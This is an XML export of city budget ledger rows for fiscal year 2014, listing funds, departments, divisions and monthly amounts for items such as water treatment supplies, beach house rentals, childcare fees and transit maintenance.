<row _id="12486"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577762.0</object><object_description>CDBG REIMB-PUBLIC WORKS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>65000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>65000.0</total></row>
<row _id="12487"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>120</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>720.0</total></row>
<row _id="12488"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>566024.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>566024.0</total></row>
<row _id="12489"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544014.0</object><object_description>FILTER MEDIA REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1211280.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1211280.0</total></row>
<row _id="12490"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544016.0</object><object_description>ANALYTICAL INSTR CONSUMABLES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="12491"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544013.0</object><object_description>CARTRIDGE FILTER REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>53993.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>53993.0</total></row>
<row _id="12492"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544014.0</object><object_description>FILTER MEDIA REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>51819.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51819.0</total></row>
<row _id="12493"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>840.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>840.0</total></row>
<row _id="12494"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>725.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>725.0</total></row>
<row _id="12495"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544193.0</object><object_description>CLEANING SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>150000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>150000.0</total></row>
<row _id="12496"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>401950.0</object><object_description>BLANKET UTILITY PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-33000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-33000.0</total></row>
<row _id="12497"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404690.0</object><object_description>415 PCH - PARKING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-438250.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-438250.0</total></row>
<row _id="12498"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-246355.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-246355.0</total></row>
<row _id="12499"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-38020.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-38020.0</total></row>
<row _id="12500"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>77872.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77872.0</total></row>
<row _id="12501"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>325.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>325.0</total></row>
<row _id="12502"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3467.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3467.0</total></row>
<row _id="12503"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>545020.0</object><object_description>CULTURAL PROGRAMMING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="12504"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5993.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>84</december><january>988.43</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7065.43</total></row>
<row _id="12505"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>315712.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>315712.0</total></row>
<row _id="12506"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533214.0</object><object_description>FAC MAINT-REPAIRS-HIST SAVINGS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>126000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>126000.0</total></row>
<row _id="12507"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>523010.0</object><object_description>ENVIRONMENTAL SERVICES FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1270.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1270.0</total></row>
<row _id="12508"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1860.0</july><august>0</august><september>0</september><october>0</october><november>-930</november><december>0</december><january>5000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5930.0</total></row>
<row _id="12509"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>100000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="12510"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>555364.0</object><object_description>13 STATE HOMELAND SEC GRANT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>200000</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>200000.0</total></row>
<row _id="12511"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>578391.0</object><object_description>BIKE VALET - PROP A  LOCAL RET</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>40000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="12512"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5500.0</total></row>
<row _id="12513"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>2250</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2250.0</total></row>
<row _id="12514"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>5000</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="12515"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579013.0</object><object_description>DISCRET-WESTSIDE BALLET</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>5000</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="12516"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>570350.0</object><object_description>LOCAL COASTAL PROGRAM GRANT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>225000</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>225000.0</total></row>
<row _id="12517"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>409220.0</object><object_description>LOCAL COASTAL PROGRAM GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-225000</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-225000.0</total></row>
<row _id="12518"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409002.0</object><object_description>CHILDCARE-OCTOBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-35467</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-35467.0</total></row>
<row _id="12519"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409006.0</object><object_description>CHILDCARE-FEBRUARY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-31130</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-31130.0</total></row>
<row _id="12520"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409007.0</object><object_description>CHILDCARE-MARCH</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-31130</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-31130.0</total></row>
<row _id="12521"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409009.0</object><object_description>CHILDCARE-MAY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-29923</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-29923.0</total></row>
<row _id="12522"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409023.0</object><object_description>ENRICHMENT-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-86408</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-86408.0</total></row>
<row _id="12523"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409032.0</object><object_description>CAMP SM-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-8733</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8733.0</total></row>
<row _id="12524"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409041.0</object><object_description>ELEM SPORTS-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-54358</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-54358.0</total></row>
<row _id="12525"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409063.0</object><object_description>SMSE-SUMMER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-43669</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-43669.0</total></row>
<row _id="12526"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>23255.0</june><total>23255.0</total></row>
<row _id="12527"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="12528"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8364.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8364.0</total></row>
<row _id="12529"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>72681.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>72681.0</total></row>
<row _id="12530"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="12531"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="12532"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>26295.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26295.0</total></row>
